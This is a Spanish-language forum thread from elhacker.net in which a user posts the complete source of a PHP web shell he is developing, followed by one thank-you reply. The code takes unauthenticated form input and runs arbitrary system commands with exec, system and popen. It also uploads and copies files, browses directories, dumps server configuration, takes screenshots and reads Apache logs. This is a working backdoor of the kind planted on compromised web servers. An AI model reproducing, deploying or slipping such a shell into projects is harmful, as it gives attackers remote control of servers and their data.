elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a la Factorización De Semiprimos (RSA)


+  Foro de elhacker.net
|-+  Programación
| |-+  Desarrollo Web
| | |-+  PHP (Moderador: #!drvy)
| | | |-+  Desarrollando shell.
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Desarrollando shell.  (Leído 1,134 veces)
dRak0

Desconectado Desconectado

Mensajes: 234


Ver Perfil WWW
Desarrollando shell.
« en: 28 Noviembre 2013, 04:19 am »

Les dejo un intento de shell que estoy armando , esta muy basica por ahora.... Ire actualizando cuando tenga tiempo y la vaya arreglando.

Código:
<?php

echo "<form method='POST' action='shell.php'>Origen:<input type='text' name='copiar_origen' /><br/>
 Destino:<input type='text' name='copiar_destino' /><br/>
 <input type='submit' value='Copiar'/></form>";
/*Copiar!*/
if((@$_POST['copiar_destino'] && @$_POST['copiar_origen'])!="")
{
$destino=$_POST['copiar_destino'];
$origen=$_POST['copiar_origen'];
if(copy($origen,$destino))
{
echo "Se copio.";
}
else
{
echo "No se copio";
}
}

echo "<form method='POST' action='shell.php'>
 <input type='text' name='directorio' id='directorio'/>
 <input type='submit' value='Listar'/>
 </form>
 ";
/*Directorio*/
if(@$_POST['directorio']!="")
{
$directorio_actual=$_POST['directorio'];
echo $directorio_actual;

if(is_dir($directorio_actual))
{
$directorio=opendir($directorio_actual);
echo "<br/><h1>Archivos del directorio</h1><ul>";
while(false!==($archivo=readdir($directorio)))
{
$rutaentera=$directorio_actual.DIRECTORY_SEPARATOR.$archivo;
if(is_dir($rutaentera))
{
echo "<li onClick="."\"document.getElementById('directorio').value='".$directorio_actual.DIRECTORY_SEPARATOR.$archivo."'\">".$archivo.' Tipo:directorio</li>';

}
else
{
echo $archivo." Tamano:".filesize($rutaentera)." bytes. Tipo:".filetype($rutaentera)."<br />";
}
}
echo "</ul>";
}
closedir($directorio_actual);
}

/*Comandos*/
echo "<form method='POST' action='shell.php'>
 Comando:<input type='text' name='comando' /><input type='submit' value='Enviar'/><br/>
 Exec<input type='radio' name='ph' value='exec'/><br/>
      System<input type='radio' name='ph' value='system'/><br/>
 </form>";

if(@$_POST['comando']!="")
{
$comando=$_POST['comando'];
if(($_POST["ph"])=="exec")
{
echo exec($comando);
}
else if(($_POST["ph"])=="system")
{
system($comando,$resultado);
echo "<pre>".$resultado."</pre>";
}
}

/*Ejecutar archivos*/
echo "<form method='POST' action='shell.php'>
 Archivo:<input type='text' name='archivo'/>
 <input type='submit' value='Ejecutar'/>";

if(@$_POST['archivo']!="")
{
if(pclose(popen($_POST['archivo'],"r")))
{
echo "Se ejecuto.";
}
else
{
echo "No se ejecuto";
}
}

/*Informacion*/
echo "<br/>Informacion:".
"<br/><form method='POST' action='shell.php'>
PHP.INI<input type='radio' name='info' value='phpini'><br/>
ID PROCESO<input type='radio' name='info' value='proceso'><br/>
Nombre usuario<input type='radio' name='info' value='usuario'><br/>
Constantes Definidas<input type='radio' name='info' value='defcon'><br/>
PHPINFO<input type='radio' name='info' value='phpinfo'><br/>
Version Apache<input type='radio' name='info' value='apachever'><br/>
<input type='submit' value='Obtener!'/></form>";
if(@$_POST['info']=="phpini")
{
echo "Direccion del phpini".php_ini_loaded_file();
echo "<pre>";
print_r(ini_get_all());
echo "</pre>";
}
else if(@$_POST['info']=="proceso")
{
echo "Id proceso php:".getmypid();
}
else if(@$_POST['info']=="usuario")
{
echo "Usuario:".get_current_user();
}
else if(@$_POST['info']=="defcon")
{
echo "<pre>";
print_r(get_defined_constants());
echo "</pre>";
}
else if(@$_POST['info']=="apachever")
{
echo apache_get_version();
}
else if(@$_POST['info']=="phpinfo")
{
echo phpinfo();
}

/*Subir archivo*/
echo "<form method='POST' action='shell.php' enctype='multipart/form-data'>
 Archivo:<input type='file' name='subirarchivo'>
 <input type='submit' name='subir' value='Subir!'/>
 </form>";


if(isset($_POST['subir']))
{
$nombre=$_FILES["subirarchivo"]['name'];
$tamano=$_FILES["subirarchivo"]['size'];
if(copy($_FILES['subirarchivo']['tmp_name'],$nombre))
{
echo "Se subio";
}
else
{
echo "fail";
}
}
/*Safe mode*/
if(ini_get('safe_mode'))
{
echo "Safe mode:On";
}
else
{
echo "Safe mode:Off";
}
echo "<br/>IP:".$_SERVER['SERVER_ADDR'];

/*Espacio disco*/
echo "<form method='POST' action='shell.php'>
 Espacio libre en el disco de:<input type='text' name='ruta' />
 <input type='submit' name='bytes' value='Bytes'/>
 </form>
";
if(isset($_POST['bytes']))
{
  $bytes=disk_free_space($_POST['ruta']);
  $bits=$bytes*8;
  $kb=$bytes/1024;
  $mb=$kb/1024;
  $gb=$mb/1024;
  echo "<br/>Bits:".$bits."<br/>Bytes:".$bytes."<br/>Kbytes:".$kb."<br/>Mbytes:".$mb."<br/>Gbytes:".$gb;
}

echo "<form method='POST' action='shell.php'>
 Espacio total del disco:<input type='text' name='ruta2'/>
 <input type='submit' name='total' value='TOTAL'/>
 </form>
     ";
if(isset($_POST['total']))
{
$bytes=disk_total_space($_POST['ruta2']);
$bits=$bytes*8;
$kbytes=$bytes/1024;
$mbytes=$kbytes/1024;
$gbytes=$mbytes/1024;
echo "<br/>Bits:".$bits."<br/>Bytes:".$bytes."<br/>Kbytes:".$kbytes."<br/>Mbytes:".$mbytes."<br/>GBytes:".$gbytes;
}
echo PHP_OS;

if(stristr(PHP_OS,'WIN'))
{
echo "<form method='POST' action='shell.php'>
 Direccion donde guardar foto:<input type='text' name='foto'/>
 <input type='submit' name='sacar' value='Sacar foto'/>
 <br/>PNG<input type='radio' name='tipoimagen' value='png'/>
 <br/>JPG<input type='radio' name='tipoimagen' value='jpeg'/>
 <br/>GIF<input type='radio' name='tipoimagen' value='gif'/>
 <br/>Mostrar<input type='checkbox' name='mostrar'/>
 </form>";

 if(isset($_POST['sacar'])&& isset($_POST['tipoimagen']))
 {
  $imagen=imagegrabscreen();
  $tipoimagen=$_POST['tipoimagen'];
  $direccion=(stristr($_POST['foto'],'.'.$tipoimagen))?$_POST['foto']:$_POST['foto'].'.'.$tipoimagen;
  $seteado=isset($_POST['mostrar']);
  if($tipoimagen=="png")
  {
  imagepng($imagen,$direccion);
  if($seteado)echo "<br/><img src=\"".$direccion."\"></br>";
  }else if($tipoimagen=="jpeg")
  {
  imagejpeg($imagen,$direccion);
  if($seteado)echo "<br/><img src=\"".$direccion."\"></br>";
  }
  else if($tipoimagen=="gif")
  {
  imagegif($imagen,$direccion);
  if($seteado)echo "<br/><img src=\"".$direccion."\"></br>";
  }
  imagedestroy($imagen);
 }
}

if(stristr($_SERVER['SERVER_SOFTWARE'],"apache"))
{
echo "<form method='post' action='shell.php'/>
  Directorio apache:<input type='text' name='directorioo'/><br/>
  <input type='submit' name='guachen' value='Mostrar'/>
  </form>";
    if((isset($_POST['guachen']) && $_POST['directorioo']!=""))
    {
     $directorio=($_POST['directorioo']).DIRECTORY_SEPARATOR."logs".DIRECTORY_SEPARATOR;
     function mostrar($esa)
     {
     $directorio=($_POST['directorioo']).DIRECTORY_SEPARATOR."logs".DIRECTORY_SEPARATOR;
     $handle=fopen($directorio.$esa,"r");
     while(!feof($handle))
     echo "<br/>".fgets($handle);
     fclose($handle);
     }
     echo "Access log:";
     if(file_exists($directorio."access.log"))
     {
     mostrar("access.log");
        }else{
     "No existe<br/>";
  }
    
     echo "Error log:";
     if(file_exists($directorio."error.log"))
     {
     mostrar("error.log");
     }
     else
     {
     echo "No existe.<br/>";
     }
     if(file_exists($directorio."install.log"))
     {
     mostrar("install.log");
     }
     else
     {
     echo "No existe.<br/>";
     }

    }
}


?>


En línea

bbitter

Desconectado Desconectado

Mensajes: 2


Ver Perfil
Re: Desarrollando shell.
« Respuesta #1 en: 3 Diciembre 2013, 11:11 am »

Muy interesante, ¡gracias por compartirlo!


En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Desarrollando con Django
Desarrollo Web
Kasswed 0 2,072 Último mensaje 5 Agosto 2010, 18:52 pm
por Kasswed
Intel sigue desarrollando?
Foro Libre
flacc 0 1,195 Último mensaje 26 Febrero 2011, 18:37 pm
por flacc
Dudas desarrollando aplicacion cliente-servidor
.NET (C#, VB.NET, ASP)
llAudioslavell 5 5,944 Último mensaje 7 Enero 2012, 23:45 pm
por llAudioslavell
Desarrollando SkyNET ¿Qué debería tener?
Foro Libre
Servia 3 1,863 Último mensaje 21 Octubre 2012, 19:30 pm
por Servia
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines